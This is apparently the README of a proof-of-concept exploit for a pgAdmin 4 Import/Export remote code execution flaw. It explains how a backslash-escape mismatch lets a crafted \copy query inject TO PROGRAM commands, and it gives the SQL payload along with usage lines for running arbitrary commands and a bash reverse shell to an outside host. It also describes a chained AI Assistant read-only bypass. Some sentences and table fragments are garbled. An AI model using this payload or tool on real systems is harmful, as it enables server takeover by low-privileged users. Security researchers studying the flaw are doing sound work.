
pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC - TO PROGRAM injection via backslash-escape mismatch
A remote code execution PoC for the pgAdmin 4 Import/Export Data tool. It exploits the divergence in backslash escaping semantics between the _is_query_parens_balanced() parenthesis checker and psql to inject \copy ... TO PROGRAM and execute arbitrary commands on the server running pgAdmin.
Background attack chain: CVE-2026-17349 (Workspaces credential disclosure) → CVE-2026-17351 (AI Assistant read-only bypass) → this vulnerability (RCE). All three require only a low-privileged authenticated user.
The Import/Export Data tool inserts user SQL into a Jinja template to build a psql \copy (...) command. The hand-written parenthesis balance checker always treats \' as an escaped quote (which is only correct when standard_conforming_strings=off); however, when PostgreSQL's default standard_conforming_strings=on, , and the quote closes immediately.
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'
The checker believes that ) is still inside the string, so the parenthesis "balance" check passes; psql closes the string at a\', ) ends the \copy (...) wrapper, and TO PROGRAM 'cmd' becomes a live directive, executed by psql's popen().
_is_query_parens_balanced()); fixed in commit 1496fabeTO PROGRAM injection, same family)tools_import_export_data permission)export PGADMIN_PASSWORD='账户密码'
# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --command 'id > /tmp/pgadmin_rce_proof'
# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
--user lowpriv --reverse 10.0.0.1:4555
| Parameter | Description |
|---|---|
--url | pgAdmin base URL |
--user / --password (or PGADMIN_PASSWORD) | Low-privileged account |
--command | Arbitrary command (must not contain single quotes) |
--reverse HOST:PORT | Generate a bash reverse shell |
--server-id | Server ID (defaults to the first one found automatically) |
--file | Export filename (used to build the \copy command; default /tmp/pgadmin_export.csv) |
--no-verify | Skip TLS certificate verification |
Flow: log in (CSRF/session handled automatically) → enumerate servers → submit a crafted is_query_export request via POST /import_export/job/<sid>.
For security research, vulnerability verification, and defensive testing only. This script was written based on public technical analysis and has not been verified on a real instance; request fields may need to be fine-tuned for the target pgAdmin version. Run it in an authorized test environment only; do not use it against unauthorized systems.